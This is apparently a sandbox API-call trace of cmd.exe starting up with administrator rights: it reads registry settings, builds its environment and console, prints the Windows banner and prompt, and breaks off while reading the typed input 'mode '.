	[0070.561] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x59757ce848 | out: phkResult=0x59757ce848*=0x7c) returned 0x0
	[0070.561] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x0, lpData=0x59757ce860*=0x40, lpcbData=0x59757ce844*=0x1000) returned 0x2
	[0070.561] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x4, lpData=0x59757ce860*=0x1, lpcbData=0x59757ce844*=0x4) returned 0x0
	[0070.562] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x0, lpData=0x59757ce860*=0x1, lpcbData=0x59757ce844*=0x1000) returned 0x2
	[0070.562] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x4, lpData=0x59757ce860*=0x0, lpcbData=0x59757ce844*=0x4) returned 0x0
	[0070.562] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x4, lpData=0x59757ce860*=0x9, lpcbData=0x59757ce844*=0x4) returned 0x0
	[0070.562] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x4, lpData=0x59757ce860*=0x9, lpcbData=0x59757ce844*=0x4) returned 0x0
	[0070.562] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x0, lpData=0x59757ce860*=0x9, lpcbData=0x59757ce844*=0x1000) returned 0x2
	[0070.562] RegCloseKey (hKey=0x7c) returned 0x0
	[0070.562] time (in: timer=0x0 | out: timer=0x0) returned 0x5e449b05
	[0070.562] srand (_Seed=0x5e449b05) 
	[0070.562] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0070.562] malloc (_Size=0x4000) returned 0x1c4ef5054f0
	[0070.563] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0070.563] malloc (_Size=0xffce) returned 0x1c4ef6e0080
	[0070.563] ??_V@YAXPEAX@Z () returned 0x1c4ef6e0080
	[0070.564] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c4ef6e0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0070.564] malloc (_Size=0xffce) returned 0x1c4ef6f0060
	[0070.565] ??_V@YAXPEAX@Z () returned 0x1c4ef6f0060
	[0070.565] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c4ef6f0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0070.565] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6f606bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0070.565] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6f606bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0070.565] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6f606bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0070.566] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0070.566] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0070.566] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0070.566] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0070.566] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0070.566] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0070.566] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0070.566] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0070.566] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0070.566] GetProcessHeap () returned 0x1c4ef510000
	[0070.566] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef5164a0) returned 1
	[0070.566] GetEnvironmentStringsW () returned 0x1c4ef515a10*
	[0070.566] GetProcessHeap () returned 0x1c4ef510000
	[0070.566] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xa94) returned 0x1c4ef517a10
	[0070.567] FreeEnvironmentStringsA (penv="A") returned 1
	[0070.567] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6f606bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0070.567] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6f606bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0070.567] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0070.567] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0070.567] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0070.567] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0070.567] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0070.567] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0070.567] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0070.567] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0070.567] malloc (_Size=0xffce) returned 0x1c4ef700040
	[0070.567] ??_V@YAXPEAX@Z () returned 0x1c4ef700040
	[0070.568] GetProcessHeap () returned 0x1c4ef510000
	[0070.568] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x40) returned 0x1c4ef5184b0
	[0070.568] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c4ef700040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0070.568] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1c4ef700040, lpFilePart=0x59757cf3c0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x59757cf3c0*="Desktop") returned 0x17
	[0070.569] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0070.569] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x59757cf0f0 | out: lpFindFileData=0x59757cf0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1c4ef518500
	[0070.569] FindClose (in: hFindFile=0x1c4ef518500 | out: hFindFile=0x1c4ef518500) returned 1
	[0070.570] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x59757cf0f0 | out: lpFindFileData=0x59757cf0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1c4ef518500
	[0070.570] FindClose (in: hFindFile=0x1c4ef518500 | out: hFindFile=0x1c4ef518500) returned 1
	[0070.570] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x59757cf0f0 | out: lpFindFileData=0x59757cf0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1bd468cc, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x1bd468cc, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1c4ef518500
	[0070.570] FindClose (in: hFindFile=0x1c4ef518500 | out: hFindFile=0x1c4ef518500) returned 1
	[0070.570] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0070.570] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0070.570] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0070.570] GetProcessHeap () returned 0x1c4ef510000
	[0070.570] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef517a10) returned 1
	[0070.570] GetEnvironmentStringsW () returned 0x1c4ef510fc0*
	[0070.570] GetProcessHeap () returned 0x1c4ef510000
	[0070.570] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xacc) returned 0x1c4ef518500
	[0070.571] FreeEnvironmentStringsA (penv="=") returned 1
	[0070.571] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c4ef6e0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0070.571] GetProcessHeap () returned 0x1c4ef510000
	[0070.571] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef5184b0) returned 1
	[0070.571] ??_V@YAXPEAX@Z () returned 0x1
	[0070.571] ??_V@YAXPEAX@Z () returned 0x1
	[0070.571] GetProcessHeap () returned 0x1c4ef510000
	[0070.571] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x4016) returned 0x1c4ef518fe0
	[0070.572] GetProcessHeap () returned 0x1c4ef510000
	[0070.572] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef518fe0) returned 1
	[0070.572] GetConsoleOutputCP () returned 0x1b5
	[0071.259] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6f606fbb0 | out: lpCPInfo=0x7ff6f606fbb0) returned 1
	[0071.259] GetUserDefaultLCID () returned 0x409
	[0071.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6f606bb78, cchData=8 | out: lpLCData=":") returned 2
	[0071.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x59757cf780, cchData=128 | out: lpLCData="0") returned 2
	[0071.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x59757cf780, cchData=128 | out: lpLCData="0") returned 2
	[0071.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x59757cf780, cchData=128 | out: lpLCData="1") returned 2
	[0071.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6f606bb68, cchData=8 | out: lpLCData="/") returned 2
	[0071.260] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6f606bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0071.260] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6f606bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0071.260] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6f606ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0071.260] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6f606ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0071.260] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6f606ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0071.260] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6f606b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0071.260] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6f606b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0071.260] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6f606bb58, cchData=8 | out: lpLCData=".") returned 2
	[0071.260] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6f606bb40, cchData=8 | out: lpLCData=",") returned 2
	[0071.260] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0071.262] GetProcessHeap () returned 0x1c4ef510000
	[0071.262] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x0, Size=0x20c) returned 0x1c4ef516560
	[0071.262] GetConsoleTitleW (in: lpConsoleTitle=0x1c4ef516560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0071.429] _get_osfhandle (_FileHandle=1) returned 0x254
	[0071.429] GetFileType (hFile=0x254) returned 0x3
	[0071.519] ApiSetQueryApiSetPresence () returned 0x0
	[0071.519] ResolveDelayLoadedAPI () returned 0x7ffc2d69d990
	[0072.352] BrandingFormatString () returned 0x1c4ef516a50
	[0072.357] GetVersion () returned 0x3ad7000a
	[0072.357] _vsnwprintf (in: _Buffer=0x59757cf8e0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x59757cf878 | out: _Buffer="10.0.15063") returned 10
	[0072.358] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.358] GetFileType (hFile=0x254) returned 0x3
	[0072.358] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6f6077f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0072.358] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6f6077f60, nSize=0x2000, Arguments=0x59757cf880 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0072.358] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0072.358] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6f6069970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x59757cf7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesWritten=0x59757cf7d8*=0x26, lpOverlapped=0x0) returned 1
	[0072.358] _vsnwprintf (in: _Buffer=0x7ff6f6077f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x59757cf8a8 | out: _Buffer="\r\n") returned 2
	[0072.358] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.358] GetFileType (hFile=0x254) returned 0x3
	[0072.358] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0072.359] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6f6069970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x59757cf878, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesWritten=0x59757cf878*=0x2, lpOverlapped=0x0) returned 1
	[0072.359] _vsnwprintf (in: _Buffer=0x7ff6f6077f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x59757cf8a8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0072.359] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.359] GetFileType (hFile=0x254) returned 0x3
	[0072.359] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0072.359] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6f6069970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x59757cf878, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesWritten=0x59757cf878*=0x34, lpOverlapped=0x0) returned 1
	[0072.359] _vsnwprintf (in: _Buffer=0x7ff6f6077f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x59757cf8a8 | out: _Buffer="\r\n") returned 2
	[0072.359] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.359] GetFileType (hFile=0x254) returned 0x3
	[0072.359] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0072.359] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6f6069970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x59757cf878, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesWritten=0x59757cf878*=0x2, lpOverlapped=0x0) returned 1
	[0072.360] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffc37f90000
	[0072.360] GetProcAddress (hModule=0x7ffc37f90000, lpProcName="CopyFileExW") returned 0x7ffc37fae830
	[0072.360] GetProcAddress (hModule=0x7ffc37f90000, lpProcName="IsDebuggerPresent") returned 0x7ffc37fae300
	[0072.360] GetProcAddress (hModule=0x7ffc37f90000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffc35d70a40
	[0072.360] ??_V@YAXPEAX@Z () returned 0x1
	[0072.361] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.361] GetFileType (hFile=0x248) returned 0x3
	[0072.361] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0072.361] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x59757cf6e8 | out: TokenHandle=0x59757cf6e8*=0x0) returned 0xc000007c
	[0072.361] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x59757cf6e8 | out: TokenHandle=0x59757cf6e8*=0x98) returned 0x0
	[0072.361] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0x59757cf698, TokenInformationLength=0x4, ReturnLength=0x59757cf6a0 | out: TokenInformation=0x59757cf698, ReturnLength=0x59757cf6a0) returned 0x0
	[0072.361] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0x59757cf6a0, TokenInformationLength=0x4, ReturnLength=0x59757cf698 | out: TokenInformation=0x59757cf6a0, ReturnLength=0x59757cf698) returned 0x0
	[0072.361] NtClose (Handle=0x98) returned 0x0
	[0072.361] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x59757cf6b0, nSize=0x0, Arguments=0x59757cf6b8 | out: lpBuffer="᧰DŽ") returned 0xf
	[0072.362] GetProcessHeap () returned 0x1c4ef510000
	[0072.362] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x218) returned 0x1c4ef516c30
	[0072.363] GetConsoleTitleW (in: lpConsoleTitle=0x59757cf700, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0073.610] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
	[0073.610] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0074.392] GetProcessHeap () returned 0x1c4ef510000
	[0074.392] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef516c30) returned 1
	[0074.392] LocalFree (hMem=0x1c4ef5119f0) returned 0x0
	[0074.393] _vsnwprintf (in: _Buffer=0x7ff6f6077f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x59757cf528 | out: _Buffer="\r\n") returned 2
	[0074.393] _get_osfhandle (_FileHandle=1) returned 0x254
	[0074.393] GetFileType (hFile=0x254) returned 0x3
	[0074.393] _get_osfhandle (_FileHandle=1) returned 0x254
	[0074.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0074.393] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6f6069970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x59757cf4f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesWritten=0x59757cf4f8*=0x2, lpOverlapped=0x0) returned 1
	[0074.393] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6f606bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0074.393] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c4ef6e0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0074.393] malloc (_Size=0x107ce) returned 0x1c4ef6f0060
	[0074.394] _vsnwprintf (in: _Buffer=0x1c4ef6f0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x59757cf538 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23
	[0074.394] _vsnwprintf (in: _Buffer=0x1c4ef6f008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x59757cf538 | out: _Buffer=">") returned 1
	[0074.394] _get_osfhandle (_FileHandle=1) returned 0x254
	[0074.394] GetFileType (hFile=0x254) returned 0x3
	[0074.394] _get_osfhandle (_FileHandle=1) returned 0x254
	[0074.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25
	[0074.394] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6f6069970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x59757cf528, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesWritten=0x59757cf528*=0x18, lpOverlapped=0x0) returned 1
	[0074.394] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.394] GetFileType (hFile=0x248) returned 0x3
	[0074.394] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.394] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.394] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0074.395] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.395] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.395] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0074.395] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.395] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.395] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0074.395] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.395] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.395] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0074.395] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.395] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.395] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0074.395] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.395] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
